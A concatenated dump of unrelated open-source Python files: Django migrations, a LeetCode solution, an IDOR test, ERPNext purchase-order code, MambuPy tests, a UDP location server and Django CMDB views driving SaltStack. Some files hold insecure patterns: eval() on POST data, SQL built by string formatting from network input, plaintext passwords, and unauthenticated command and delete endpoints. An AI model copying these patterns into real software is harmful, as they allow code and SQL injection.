The Code/Old, defunct code in all states/10-15-2014_CompiledAnnotatorJSv2dev/doc/conf.py
Python
gpl-3.0
8,759
# Generated by Django 2.0.2 on 2018-03-19 15:26 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('website', '0006_auto_20180216_1618'), ] operations = [ migrations.AddField( model_name='news', name='thumbnail', field=models.ImageField(blank=True, null=True, upload_to='news/thumbnail/'), ), migrations.AlterField( model_name='news', name='excerpt', field=models.CharField(max_length=150), ), ]
htmfilho/boust
website/migrations/0007_auto_20180319_1526.py
Python
gpl-3.0
576
# -*- coding: utf-8 -*- # Generated by Django 1.11.5 on 2017-09-12 14:17 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('core', '0022_user_created_from_ip'), ] operations = [ migrations.AlterField( model_name='user', name='browser_on_creation', field=models.CharField(blank=True, db_index=True, default=None, help_text='Browser string used when this user was created', max_length=300, null=True), ), ]
pashinin-com/pashinin.com
src/core/migrations/0023_auto_20170912_1717.py
Python
gpl-3.0
574
# 134. Gas Station QuestionEditorial Solution My Submissions # Total Accepted: 72748 # Total Submissions: 256809 # Difficulty: Medium # Contributors: Admin # There are N gas stations along a circular route, where the amount of gas at station i is gas[i]. # # You have a car with an unlimited gas tank and it costs cost[i] of gas to travel from station i to its next station (i+1). You begin the journey with an empty tank at one of the gas stations. # # Return the starting gas station's index if you can travel around the circuit once, otherwise return -1. # # Note: # The solution is guaranteed to be unique. # # Subscribe to see which companies asked this question # Algorithm: # 1. Traverse. Record sum_gas and sum_cost and tank # 2. Anytime, if tank goes negative, start = i+1, tank to 0 # 3. If sum_gas < sum_cost. return -1 # class Solution(object): def canCompleteCircuit(self, gas, cost): """ :type gas: List[int] :type cost: List[int] :rtype: int """ start, tank, sum_gas, sum_cost = 0, 0, 0, 0 for i in xrange(len(gas)): sum_gas, sum_cost = sum_gas + gas[i], sum_cost + cost[i] tank += gas[i] - cost[i] if tank < 0: start = i + 1 tank = 0 if sum_gas < sum_cost: return -1 else: return start
shawncaojob/LC
PY/134_gas_station.py
Python
gpl-3.0
1,391
import sys from .requests_test import RequestsTest class IDORTest(RequestsTest): def test(self): if self.DEBUG: print("Run the IDOR Tests") passed = True failed = 0 result = 'PASS' result_text = [] messages = [] url = self.domain['protocol'] + self.domain['host'] + self.config['path'] testurl = self.domain['protocol'] + self.domain['host'] + self.config['idorpath'] print("IDOR Test for " + url) if self.config['method'] == 'GET': if self.DEBUG: print("*** Using GET " + self.config['path']) res = self.get(url, params=self.config['params'], allow_redirects=False) res2 = self.get(testurl, params=self.config['params'], allow_redirects=False) if self.DEBUG: print("idor status:" + str(res.status_code) + " test: " + str(res2.status_code)) if self.config['teststring'] in res2.text: passed = False elif self.config['method'] == 'POST': if self.DEBUG: print("*** Using POST " + self.config['path']) res = self.post(url, params=self.config['params'], allow_redirects=False) res2 = self.post(testurl, params=self.config['params'], allow_redirects=False) if self.DEBUG: print("idor status:" + str(res.status_code) + " test: " + str(res2.status_code)) if self.config['teststring'] in res2.text: passed = False else: if self.DEBUG: print("*** Endpoint method is not GET or POST") if not passed: sys.stderr.write("=> IDOR found at " + url + "\n") result = 'FAIL' result_text.append("=> No authorization required for data access") self.report.add_test_result(url, self.config['method'], 'idor', 'none', result, result_text)
sethlaw/sputr
tests/idor_test.py
Python
gpl-3.0
1,840
# Copyright (c) 2015, Frappe Technologies Pvt. Ltd. and Contributors # License: GNU General Public License v3. See license.txt from __future__ import unicode_literals import frappe import json from frappe.utils import cstr, flt, cint from frappe import msgprint, _ from frappe.model.mapper import get_mapped_doc from erpnext.controllers.buying_controller import BuyingController from erpnext.stock.doctype.item.item import get_last_purchase_details from erpnext.stock.stock_balance import update_bin_qty, get_ordered_qty from frappe.desk.notifications import clear_doctype_notifications from erpnext.buying.utils import validate_for_items, check_on_hold_or_closed_status from erpnext.stock.utils import get_bin from erpnext.accounts.party import get_party_account_currency from six import string_types from erpnext.stock.doctype.item.item import get_item_defaults from erpnext.setup.doctype.item_group.item_group import get_item_group_defaults from erpnext.accounts.doctype.sales_invoice.sales_invoice import validate_inter_company_party, update_linked_doc,\ unlink_inter_company_doc form_grid_templates = { "items": "templates/form_grid/item_grid.html" } class PurchaseOrder(BuyingController): def __init__(self, *args, **kwargs): super(PurchaseOrder, self).__init__(*args, **kwargs) self.status_updater = [{ 'source_dt': 'Purchase Order Item', 'target_dt': 'Material Request Item', 'join_field': 'material_request_item', 'target_field': 'ordered_qty', 'target_parent_dt': 'Material Request', 'target_parent_field': 'per_ordered', 'target_ref_field': 'stock_qty', 'source_field': 'stock_qty', 'percent_join_field': 'material_request' }] def validate(self): super(PurchaseOrder, self).validate() self.set_status() self.validate_supplier() self.validate_schedule_date() validate_for_items(self) self.check_on_hold_or_closed_status() self.validate_uom_is_integer("uom", "qty") self.validate_uom_is_integer("stock_uom", "stock_qty") self.validate_with_previous_doc() self.validate_for_subcontracting() self.validate_minimum_order_qty() self.validate_bom_for_subcontracting_items() self.create_raw_materials_supplied("supplied_items") self.set_received_qty_for_drop_ship_items() validate_inter_company_party(self.doctype, self.supplier, self.company, self.inter_company_order_reference) def validate_with_previous_doc(self): super(PurchaseOrder, self).validate_with_previous_doc({ "Supplier Quotation": { "ref_dn_field": "supplier_quotation", "compare_fields": [["supplier", "="], ["company", "="], ["currency", "="]], }, "Supplier Quotation Item": { "ref_dn_field": "supplier_quotation_item", "compare_fields": [["project", "="], ["item_code", "="], ["uom", "="], ["conversion_factor", "="]], "is_child_table": True } }) if cint(frappe.db.get_single_value('Buying Settings', 'maintain_same_rate')): self.validate_rate_with_reference_doc([["Supplier Quotation", "supplier_quotation", "supplier_quotation_item"]]) def validate_supplier(self): prevent_po = frappe.db.get_value("Supplier", self.supplier, 'prevent_pos') if prevent_po: standing = frappe.db.get_value("Supplier Scorecard", self.supplier, 'status') if standing: frappe.throw(_("Purchase Orders are not allowed for {0} due to a scorecard standing of {1}.") .format(self.supplier, standing)) warn_po = frappe.db.get_value("Supplier", self.supplier, 'warn_pos') if warn_po: standing = frappe.db.get_value("Supplier Scorecard",self.supplier, 'status') frappe.msgprint(_("{0} currently has a {1} Supplier Scorecard standing, and Purchase Orders to this supplier should be issued with caution.").format(self.supplier, standing), title=_("Caution"), indicator='orange') self.party_account_currency = get_party_account_currency("Supplier", self.supplier, self.company) def validate_minimum_order_qty(self): if not self.get("items"): return items = list(set([d.item_code for d in self.get("items")])) itemwise_min_order_qty = frappe._dict(frappe.db.sql("""select name, min_order_qty from tabItem where name in ({0})""".format(", ".join(["%s"] * len(items))), items)) itemwise_qty = frappe._dict() for d in self.get("items"): itemwise_qty.setdefault(d.item_code, 0) itemwise_qty[d.item_code] += flt(d.stock_qty) for item_code, qty in itemwise_qty.items(): if flt(qty) < flt(itemwise_min_order_qty.get(item_code)): frappe.throw(_("Item {0}: Ordered qty {1} cannot be less than minimum order qty {2} (defined in Item).").format(item_code, qty, itemwise_min_order_qty.get(item_code))) def validate_bom_for_subcontracting_items(self): if self.is_subcontracted == "Yes": for item in self.items: if not item.bom: frappe.throw(_("BOM is not specified for subcontracting item {0} at row {1}"\ .format(item.item_code, item.idx))) def get_schedule_dates(self): for d in self.get('items'): if d.material_request_item and not d.schedule_date: d.schedule_date = frappe.db.get_value("Material Request Item", d.material_request_item, "schedule_date") def get_last_purchase_rate(self): """get last purchase rates for all items""" conversion_rate = flt(self.get('conversion_rate')) or 1.0 for d in self.get("items"): if d.item_code: last_purchase_details = get_last_purchase_details(d.item_code, self.name) if last_purchase_details: d.base_price_list_rate = (last_purchase_details['base_price_list_rate'] * (flt(d.conversion_factor) or 1.0)) d.discount_percentage = last_purchase_details['discount_percentage'] d.base_rate = last_purchase_details['base_rate'] * (flt(d.conversion_factor) or 1.0) d.price_list_rate = d.base_price_list_rate / conversion_rate d.rate = d.base_rate / conversion_rate d.last_purchase_rate = d.rate else: item_last_purchase_rate = frappe.get_cached_value("Item", d.item_code, "last_purchase_rate") if item_last_purchase_rate: d.base_price_list_rate = d.base_rate = d.price_list_rate \ = d.rate = d.last_purchase_rate = item_last_purchase_rate # Check for Closed status def check_on_hold_or_closed_status(self): check_list =[] for d in self.get('items'): if d.meta.get_field('material_request') and d.material_request and d.material_request not in check_list: check_list.append(d.material_request) check_on_hold_or_closed_status('Material Request', d.material_request) def update_requested_qty(self): material_request_map = {} for d in self.get("items"): if d.material_request_item: material_request_map.setdefault(d.material_request, []).append(d.material_request_item) for mr, mr_item_rows in material_request_map.items(): if mr and mr_item_rows: mr_obj = frappe.get_doc("Material Request", mr) if mr_obj.status in ["Stopped", "Cancelled"]: frappe.throw(_("Material Request {0} is cancelled or stopped").format(mr), frappe.InvalidStatusError) mr_obj.update_requested_qty(mr_item_rows) def update_ordered_qty(self, po_item_rows=None): """update requested qty (before ordered_qty is updated)""" item_wh_list = [] for d in self.get("items"): if (not po_item_rows or d.name in po_item_rows) \ and [d.item_code, d.warehouse] not in item_wh_list \ and frappe.get_cached_value("Item", d.item_code, "is_stock_item") \ and d.warehouse and not d.delivered_by_supplier: item_wh_list.append([d.item_code, d.warehouse]) for item_code, warehouse in item_wh_list: update_bin_qty(item_code, warehouse, { "ordered_qty": get_ordered_qty(item_code, warehouse) }) def check_modified_date(self): mod_db = frappe.db.sql("select modified from `tabPurchase Order` where name = %s", self.name) date_diff = frappe.db.sql("select '%s' - '%s' " % (mod_db[0][0], cstr(self.modified))) if date_diff and date_diff[0][0]: msgprint(_("{0} {1} has been modified. Please refresh.").format(self.doctype, self.name), raise_exception=True) def update_status(self, status): self.check_modified_date() self.set_status(update=True, status=status) self.update_requested_qty() self.update_ordered_qty() if self.is_subcontracted == "Yes": self.update_reserved_qty_for_subcontract() self.notify_update() clear_doctype_notifications(self) def on_submit(self): super(PurchaseOrder, self).on_submit() if self.is_against_so(): self.update_status_updater() self.update_prevdoc_status() self.update_requested_qty() self.update_ordered_qty() self.validate_budget() if self.is_subcontracted == "Yes": self.update_reserved_qty_for_subcontract() frappe.get_doc('Authorization Control').validate_approving_authority(self.doctype, self.company, self.base_grand_total) self.update_blanket_order() update_linked_doc(self.doctype, self.name, self.inter_company_order_reference) def on_cancel(self): super(PurchaseOrder, self).on_cancel() if self.is_against_so(): self.update_status_updater() if self.has_drop_ship_item(): self.update_delivered_qty_in_sales_order() if self.is_subcontracted == "Yes": self.update_reserved_qty_for_subcontract() self.check_on_hold_or_closed_status() frappe.db.set(self,'status','Cancelled') self.update_prevdoc_status() # Must be called after updating ordered qty in Material Request self.update_requested_qty() self.update_ordered_qty() self.update_blanket_order() unlink_inter_company_doc(self.doctype, self.name, self.inter_company_order_reference) def on_update(self): pass def update_status_updater(self): self.status_updater.append({ 'source_dt': 'Purchase Order Item', 'target_dt': 'Sales Order Item', 'target_field': 'ordered_qty', 'target_parent_dt': 'Sales Order', 'target_parent_field': '', 'join_field': 'sales_order_item', 'target_ref_field': 'stock_qty', 'source_field': 'stock_qty' }) def update_delivered_qty_in_sales_order(self): """Update delivered qty in Sales Order for drop ship""" sales_orders_to_update = [] for item in self.items: if item.sales_order and item.delivered_by_supplier == 1: if item.sales_order not in sales_orders_to_update: sales_orders_to_update.append(item.sales_order) for so_name in sales_orders_to_update: so = frappe.get_doc("Sales Order", so_name) so.update_delivery_status() so.set_status(update=True) so.notify_update() def has_drop_ship_item(self): return any([d.delivered_by_supplier for d in self.items]) def is_against_so(self): return any([d.sales_order for d in self.items if d.sales_order]) def set_received_qty_for_drop_ship_items(self): for item in self.items: if item.delivered_by_supplier == 1: item.received_qty = item.qty def update_reserved_qty_for_subcontract(self): for d in self.supplied_items: if d.rm_item_code: stock_bin = get_bin(d.rm_item_code, d.reserve_warehouse) stock_bin.update_reserved_qty_for_sub_contracting() def update_receiving_percentage(self): total_qty, received_qty = 0.0, 0.0 for item in self.items: received_qty += item.received_qty total_qty += item.qty if total_qty: self.db_set("per_received", flt(received_qty/total_qty) * 100, update_modified=False) else: self.db_set("per_received", 0, update_modified=False) def item_last_purchase_rate(name, conversion_rate, item_code, conversion_factor= 1.0): """get last purchase rate for an item""" conversion_rate = flt(conversion_rate) or 1.0 last_purchase_details = get_last_purchase_details(item_code, name) if last_purchase_details: last_purchase_rate = (last_purchase_details['base_rate'] * (flt(conversion_factor) or 1.0)) / conversion_rate return last_purchase_rate else: item_last_purchase_rate = frappe.get_cached_value("Item", item_code, "last_purchase_rate") if item_last_purchase_rate: return item_last_purchase_rate @frappe.whitelist() def close_or_unclose_purchase_orders(names, status): if not frappe.has_permission("Purchase Order", "write"): frappe.throw(_("Not permitted"), frappe.PermissionError) names = json.loads(names) for name in names: po = frappe.get_doc("Purchase Order", name) if po.docstatus == 1: if status == "Closed": if po.status not in ( "Cancelled", "Closed") and (po.per_received < 100 or po.per_billed < 100): po.update_status(status) else: if po.status == "Closed": po.update_status("Draft") po.update_blanket_order() frappe.local.message_log = [] def set_missing_values(source, target): target.ignore_pricing_rule = 1 target.run_method("set_missing_values") target.run_method("calculate_taxes_and_totals") @frappe.whitelist() def make_purchase_receipt(source_name, target_doc=None): def update_item(obj, target, source_parent): target.qty = flt(obj.qty) - flt(obj.received_qty) target.stock_qty = (flt(obj.qty) - flt(obj.received_qty)) * flt(obj.conversion_factor) target.amount = (flt(obj.qty) - flt(obj.received_qty)) * flt(obj.rate) target.base_amount = (flt(obj.qty) - flt(obj.received_qty)) * \ flt(obj.rate) * flt(source_parent.conversion_rate) doc = get_mapped_doc("Purchase Order", source_name, { "Purchase Order": { "doctype": "Purchase Receipt", "field_map": { "per_billed": "per_billed", "supplier_warehouse":"supplier_warehouse" }, "validation": { "docstatus": ["=", 1], } }, "Purchase Order Item": { "doctype": "Purchase Receipt Item", "field_map": { "name": "purchase_order_item", "parent": "purchase_order", "bom": "bom", "material_request": "material_request", "material_request_item": "material_request_item" }, "postprocess": update_item, "condition": lambda doc: abs(doc.received_qty) < abs(doc.qty) and doc.delivered_by_supplier!=1 }, "Purchase Taxes and Charges": { "doctype": "Purchase Taxes and Charges", "add_if_empty": True } }, target_doc, set_missing_values) return doc @frappe.whitelist() def make_purchase_invoice(source_name, target_doc=None): def postprocess(source, target): set_missing_values(source, target) #Get the advance paid Journal Entries in Purchase Invoice Advance if target.get("allocate_advances_automatically"): target.set_advances() def update_item(obj, target, source_parent): target.amount = flt(obj.amount) - flt(obj.billed_amt) target.base_amount = target.amount * flt(source_parent.conversion_rate) target.qty = target.amount / flt(obj.rate) if (flt(obj.rate) and flt(obj.billed_amt)) else flt(obj.qty) item = get_item_defaults(target.item_code, source_parent.company) item_group = get_item_group_defaults(target.item_code, source_parent.company) target.cost_center = (obj.cost_center or frappe.db.get_value("Project", obj.project, "cost_center") or item.get("buying_cost_center") or item_group.get("buying_cost_center")) fields = { "Purchase Order": { "doctype": "Purchase Invoice", "field_map": { "party_account_currency": "party_account_currency", "supplier_warehouse":"supplier_warehouse" }, "validation": { "docstatus": ["=", 1], } }, "Purchase Order Item": { "doctype": "Purchase Invoice Item", "field_map": { "name": "po_detail", "parent": "purchase_order", }, "postprocess": update_item, "condition": lambda doc: (doc.base_amount==0 or abs(doc.billed_amt) < abs(doc.amount)) }, "Purchase Taxes and Charges": { "doctype": "Purchase Taxes and Charges", "add_if_empty": True }, } if frappe.get_single("Accounts Settings").automatically_fetch_payment_terms == 1: fields["Payment Schedule"] = { "doctype": "Payment Schedule", "add_if_empty": True } doc = get_mapped_doc("Purchase Order", source_name, fields, target_doc, postprocess) return doc @frappe.whitelist() def make_rm_stock_entry(purchase_order, rm_items): if isinstance(rm_items, string_types): rm_items_list = json.loads(rm_items) else: frappe.throw(_("No Items available for transfer")) if rm_items_list: fg_items = list(set(d["item_code"] for d in rm_items_list)) else: frappe.throw(_("No Items selected for transfer")) if purchase_order: purchase_order = frappe.get_doc("Purchase Order", purchase_order) if fg_items: items = tuple(set(d["rm_item_code"] for d in rm_items_list)) item_wh = get_item_details(items) stock_entry = frappe.new_doc("Stock Entry") stock_entry.purpose = "Send to Subcontractor" stock_entry.purchase_order = purchase_order.name stock_entry.supplier = purchase_order.supplier stock_entry.supplier_name = purchase_order.supplier_name stock_entry.supplier_address = purchase_order.supplier_address stock_entry.address_display = purchase_order.address_display stock_entry.company = purchase_order.company stock_entry.to_warehouse = purchase_order.supplier_warehouse stock_entry.set_stock_entry_type() for item_code in fg_items: for rm_item_data in rm_items_list: if rm_item_data["item_code"] == item_code: rm_item_code = rm_item_data["rm_item_code"] items_dict = { rm_item_code: { "item_name": rm_item_data["item_name"], "description": item_wh.get(rm_item_code, {}).get('description', ""), 'qty': rm_item_data["qty"], 'from_warehouse': rm_item_data["warehouse"], 'stock_uom': rm_item_data["stock_uom"], 'main_item_code': rm_item_data["item_code"], 'allow_alternative_item': item_wh[rm_item_code].get('allow_alternative_item') } } stock_entry.add_to_stock_entry_detail(items_dict) return stock_entry.as_dict() else: frappe.throw(_("No Items selected for transfer")) return purchase_order.name def get_item_details(items): item_details = {} for d in frappe.db.sql("""select item_code, description, allow_alternative_item from `tabItem` where name in ({0})""".format(", ".join(["%s"] * len(items))), items, as_dict=1): item_details[d.item_code] = d return item_details @frappe.whitelist() def update_status(status, name): po = frappe.get_doc("Purchase Order", name) po.update_status(status) po.update_delivered_qty_in_sales_order() @frappe.whitelist() def make_inter_company_sales_order(source_name, target_doc=None): from erpnext.accounts.doctype.sales_invoice.sales_invoice import make_inter_company_transaction return make_inter_company_transaction("Purchase Order", source_name, target_doc)
Zlash65/erpnext
erpnext/buying/doctype/purchase_order/purchase_order.py
Python
gpl-3.0
18,336
# -*- coding: utf-8 -*- #El algoritmo de Euclides para encontrar MCD(A,B) es como sigue: ##Si A = 0 entonces MCD(A,B)=B, ya que el MCD(0,B)=B, y podemos detenernos. ##Si B = 0 entonces MCD(A,B)=A, ya que el MCD(A,0)=A, y podemos detenernos. ##Escribe A en la forma cociente y residuo (A = B ⋅Q + R). ##Encuentra MCD(B,R) al usar el algoritmo de Euclides, ya que MCD(A,B) = MCD(B,R). def m_c_d(num1,num2): if(num1==0): return num2 else: if(num2==0): return num1 else: return m_c_d(num2, num1%num2) print 'Ingrese los numeros que les desea hallar su M.C.D.' print m_c_d(int(input()),int(input()))
santi30/RecursividadPython
Programas/m_c_d.py
Python
gpl-3.0
654
import unittest import mock import os import sys sys.path.insert(0, os.path.abspath(".")) from MambuPy.mambuutil import MambuPyError from MambuPy.api import mambugroup class MambuGroup(unittest.TestCase): def test_has_properties(self): mg = mambugroup.MambuGroup() self.assertEqual(mg._prefix, "groups") self.assertEqual( mg._filter_keys, [ "branchId", "centreId", "creditOfficerUsername"]) self.assertEqual( mg._sortBy_fields, [ "creationDate", "lastModifiedDate", "groupName"]) self.assertEqual( mg._ownerType, "GROUP") @mock.patch("MambuPy.api.mambugroup.MambuEntity.get_all") def test_get_all(self, sup_get_all_mock): sup_get_all_mock.return_value = "SupGetAllMock" mg = mambugroup.MambuGroup.get_all() self.assertEqual(mg, "SupGetAllMock") mg = mambugroup.MambuGroup.get_all(filters={}) self.assertEqual(mg, "SupGetAllMock") mg = mambugroup.MambuGroup.get_all(filters={"branchId": "MyBranch"}) self.assertEqual(mg, "SupGetAllMock") mg = mambugroup.MambuGroup.get_all(sortBy="groupName:ASC") self.assertEqual(mg, "SupGetAllMock") with self.assertRaisesRegex( MambuPyError, r"^key \w+ not in allowed " ): mambugroup.MambuGroup.get_all( filters={ "branchId": "MyBranch", "Squad": "Red"}) with self.assertRaisesRegex( MambuPyError, r"^field \w+ not in allowed " ): mambugroup.MambuGroup.get_all( sortBy="field:ASC") if __name__ == "__main__": unittest.main()
jstitch/MambuPy
tests/api/unit_mambugroup.py
Python
gpl-3.0
1,809
import socket import psycopg2 conn = psycopg2.connect("dbname=gonibus user=postgres") conn.set_isolation_level(0) # set autocommit def insertLocalization(placa, lat, lon): cur = conn.cursor() try: cur.execute("INSERT INTO Localization VALUES (DEFAULT, (SELECT id_onibus FROM Onibus WHERE placa = '{0}'), {1}, {2}, NOW());".format(placa, lat, lon)) r = cur.statusmessage except: r = 'fail' cur.close() return r def main(): address = '127.0.0.1' port = 5007 sock = socket.socket(socket.AF_INET,socket.SOCK_DGRAM) sock.bind((address, port)) print 'Servidor iniciado.' while True: data, addr = sock.recvfrom(1024) placa, lat, lon = data.split(',') print placa, lat, lon, insertLocalization(placa, lat, lon) main()
matheussampaio/monitoramento_onibus
src/utils/server.py
Python
gpl-3.0
813
# -*- coding: utf-8 -*- # $Id$ from zope.interface import Interface class IAlias(Interface): """Marker interface for the type""" pass class IAliasTool(Interface): """Marker interface for SimpleAlias tool""" class IAliasLinkedTo(Interface): """ Marker interface for objects that Alias' link to. """ pass __all__ = ('IAlias', 'IAliasTool','IAliasLinkedTo')
collective/Products.SimpleAlias
Products/SimpleAlias/interfaces/alias.py
Python
gpl-3.0
387
#coding:utf-8 from django.shortcuts import render,redirect from django.template.context_processors import request from django.http.response import HttpResponse from django.shortcuts import render_to_response from forms import userregister,codecommit from models import userinfo,hostinfo,saltcommandhistory,codeupdate from django.utils.safestring import mark_safe from django.db import connection from django.db.models import Count import json import salt.client from datetime import datetime from datetime import timedelta import salt.config #import zerorpc import os class DateTimeEncoder(json.JSONEncoder): def default(self,o): if isinstance(o,datetime): return o.isoformat() return json.JSONEncoder.default(self,o) # Create your views here. #检测是否已经登录 def checklogin(func): def warper(request,*args,**kwargs): if request.session.get('login_info',None): return func(request,*args,**kwargs) else: return render_to_response("signin.html") return warper #获得时间序列 def getdatelist(begin_date,end_date): date_list = [] begin_date = datetime.strptime(begin_date, "%Y-%m-%d") end_date = datetime.strptime(end_date, "%Y-%m-%d") while begin_date <= end_date: date_str = begin_date.strftime("%Y-%m-%d") date_list.append(date_str) begin_date += timedelta(days=1) return date_list ###################################################################### @checklogin def index(request): hostlist=[] tmp_list=hostinfo.objects.all() for i in tmp_list: if i.status: i.status=mark_safe('<i class="fa fa-circle ok_status" aria-hidden="true"></i>') else: i.status=mark_safe('<i class="fa fa-circle warn_status" aria-hidden="true"></i>') hostlist.append(i) hostnum=hostinfo.objects.all().count() updatenum=codeupdate.objects.all().count() username=request.session['login_info']['username'] return render_to_response("index.html",{'username':username,'hostlist':hostlist,'hostnum':hostnum,"updatenum":updatenum}) def login(request): return render_to_response("signin.html") def register(request): ret={'status':False,'error':'','summary':''} form=userregister() print request.method if request.method == 'POST': register_form=userregister(request.POST) if register_form.is_valid(): register_dic=register_form.clean() print register_dic num=userinfo.objects.filter(Name=register_dic['Name'],Password=register_dic['Password']).count() if num >= 1: message='用户已存在' return render_to_response('signup.html',{'user':form,'errormessage':message}) else: try: userinfo.objects.create(**register_dic) except Exception,e: return render_to_response('signup.html',{'user':form,'errormessage':e.message}) else: message='注册成功' return render_to_response('signup.html',{'user':form,'errormessage':message}) else: error_msg=register_form.errors.as_json() ret['error']=json.loads(error_msg) warn_item=ret['error'].keys()[0] message=ret['error'][warn_item][0]['message'] return render_to_response('signup.html',{'user':form,'errormessage':message}) else: return render_to_response('signup.html',{'user':form}) def signin(request): Name=request.POST.get('Name',None) Password=request.POST.get('Password',None) keep_logged=request.POST.get('keep_logged',None) print request.POST print keep_logged if all([Name,Password]): num=userinfo.objects.filter(Name=Name,Password=Password).count() if num>=1: request.session['login_info']={'username':Name} if keep_logged: request.session.set_expiry(86400) else: request.session.set_expiry(0) return redirect('/index/') else: return render_to_response('signin.html',{'message':"用户名或密码错误"}) else: return render_to_response('signin.html') def logout(request): if request.session.get('login_info',None): del request.session['login_info'] return render_to_response('signin.html') else: return render_to_response('signin.html') def posthostinfo(request): clinet_host_info=eval(request.POST.get('host_info',None)) print clinet_host_info num=hostinfo.objects.filter(hostname=clinet_host_info['hostname']).count() print num if num < 1: host_dic={} host_dic['hostname']=clinet_host_info['hostname'] host_dic['ip']=clinet_host_info['ip_dict']['eth1'] host_dic['system']=clinet_host_info['system_name'] host_dic['project']='dark' host_dic['services']=' '.join(clinet_host_info['processlist']) hostinfo.objects.create(**host_dic) return HttpResponse('ok') else: return HttpResponse('Host already exists') def deletehost(request): hostid=request.POST.get("id",None) if hostid: try: hostinfo.objects.filter(id=hostid).delete() except Exception,e: print e return HttpResponse("false") else: return HttpResponse("ok") @checklogin def saltcontrol(request): loginstatus=request.session.get('login_info',None) username=loginstatus['username'] tgt_type=request.POST.get('miniontype','glob') minion=request.POST.get('minion',None) saltmodule=request.POST.get('module',None) module_arg=request.POST.get('arg',None) try: saltcommandhistory.objects.create(username=username,minions=minion,miniontype=tgt_type,module=saltmodule,arg=module_arg) except Exception,e: print e.message else: print "ok" local = salt.client.LocalClient() if module_arg: result=local.cmd(minion,saltmodule,arg=(module_arg,),expr_form=tgt_type) else: result=local.cmd(minion,saltmodule,expr_form=tgt_type) # return render_to_response("index.html",{"dicts":result,'username':loginstatus['username']},context_instance=RequestContext(request)) return HttpResponse(json.dumps(result)) @checklogin def showcmdhistory(request): username=request.session['login_info']['username'] updatenum=codeupdate.objects.all().count() cmdhistoryresult=saltcommandhistory.objects.all() return render_to_response('commandhistory.html',{'cmddicts':cmdhistoryresult,"username":username,"updatenum":updatenum}) @checklogin def saltconfig(request): username=request.session['login_info']['username'] if os.path.exists('/tmp/saltconf.tmp'): master_conf=json.load(open('/tmp/saltconf.tmp','r')) else: master_ops = salt.config.client_config('/etc/salt/master') master_conf={"interface":master_ops['interface'],"publish_port":master_ops["publish_port"],"max_open_files":master_ops["max_open_files"],"worker_threads":master_ops["worker_threads"],"ret_port":master_ops["ret_port"],"pidfile":master_ops["pidfile"],"root_dir":master_ops["root_dir"]} with open('/tmp/saltconf.tmp','w') as fd: json.dump(master_conf,fd) return render_to_response('saltconfig.html',{"username":username,"dicts":master_conf}) @checklogin def saltadmin(request): username=request.session['login_info']['username'] return render_to_response('saltadmin.html',{"username":username}) #@checklogin #def hoststatus(request): # ip=request.GET.get('ip',None).split('/')[0] # c = zerorpc.Client() # addr='tcp://'+ip+':4242' # c.connect(addr) # sysinfo=c.get_sysinfo() # cpu=c.get_cpu_info() # mem=c.get_mem_info() # disklist=c.get_disk_info() # swapinfo=c.get_swap_info() # userinfo=c.get_user_info() # username=request.session['login_info']['username'] # return render_to_response('hoststatus.html',{"userlist":userinfo,"swapinfo":swapinfo,"username":username,'hostip':ip,'cpu':cpu,"memory":mem,"sysinfo":sysinfo,"disklist":disklist}) @checklogin def filterhistory(request): st=request.POST.get("st",None) et=request.POST.get("et",None) if all([st,et]): hisresult=saltcommandhistory.objects.filter(createtime__range=(st,et)) resultlist=[] for item in hisresult: resultlist.append({"id":item.id,"username":item.username,"createtime":item.createtime,"minions":item.minions,"miniontype":item.miniontype,"module":item.module,"arg":item.arg}) resultdata=json.dumps(resultlist,cls=DateTimeEncoder) return HttpResponse(resultdata) @checklogin def codepublish(request): username=request.session['login_info']['username'] updatenum=codeupdate.objects.all().count() start_date=(datetime.now()+timedelta(days=-7)).strftime('%Y-%m-%d') end_date=datetime.now().strftime('%Y-%m-%d') datelist=getdatelist(start_date,end_date) user_list=codeupdate.objects.values('commituser').distinct() select = {'day': connection.ops.date_trunc_sql('day', 'Createtime')} data_list=[] for user in user_list: result=codeupdate.objects.extra(select=select).filter(commituser=user['commituser']).values('day').annotate(number=Count('svninfo')) num_list=[] for i in range(len(datelist)): num_list.append(0) # for d in datelist: for num in result: if num['day'].strftime('%Y-%m-%d') in datelist: dindex=datelist.index(num['day'].strftime('%Y-%m-%d')) num_list[dindex]=(num['number']) data_list.append({"name":str(user['commituser']),"data":num_list}) print data_list print datelist print user_list[0]['commituser'] return render_to_response('codepublish.html',{"username":username,"form":codecommit,"updatenum":updatenum,"datetimelist":datelist,"datalist":data_list}) @checklogin def commitcount(request): username=request.session['login_info']['username'] updateresult=codeupdate.objects.all() updatenum=codeupdate.objects.all().count() result_list=[] for item in updateresult: peoplename=userinfo.objects.filter(id=item.auditor).values_list("Name")[0][0] if item.status==1: status=mark_safe('<button class="layui-btn layui-btn-mini layui-btn-radius layui-btn-normal">已审核</button>') result_list.append({"commituser":item.commituser,"svninfo":item.svninfo,"describtion":item.describtion,"auditor":peoplename,"status":status,"Createtime":item.Createtime}) else: status=mark_safe('<button class="layui-btn layui-btn-mini layui-btn-radius layui-btn-danger">未审核</button>') result_list.append({"commituser":item.commituser,"svninfo":item.svninfo,"describtion":item.describtion,"auditor":peoplename,"status":status,"Createtime":item.Createtime}) return render_to_response('updatecount.html',{"username":username,"updatenum":updatenum,"result_list":result_list}) @checklogin def commitupdate(request): ret={} form=codecommit() username=request.session['login_info']['username'] print request.method if request.method == 'POST': code_form=codecommit(request.POST) if code_form.is_valid(): code_dic=code_form.clean() print code_dic try: codeupdate.objects.create(commituser=username,svninfo=code_dic['svninfo'],describtion=code_dic['explain'],auditor=code_dic['people']) except Exception,e: ret['status']=0 ret['message']=e.message print e.message return HttpResponse(json.dumps(ret)) else: ret['status']=1 ret['message']='code has commit.' return HttpResponse(json.dumps(ret)) else: ret['status']=0 ret['message']="illegal data." return HttpResponse(json.dumps(ret))
yxxhero/cmdb
cmdbserver/server/views.py
Python
gpl-3.0
12,086
from ui import UI from lazzormanager import LazzorManager
schneider42/lazzormanagement
lazzormanagement/__init__.py
Python
gpl-3.0
58
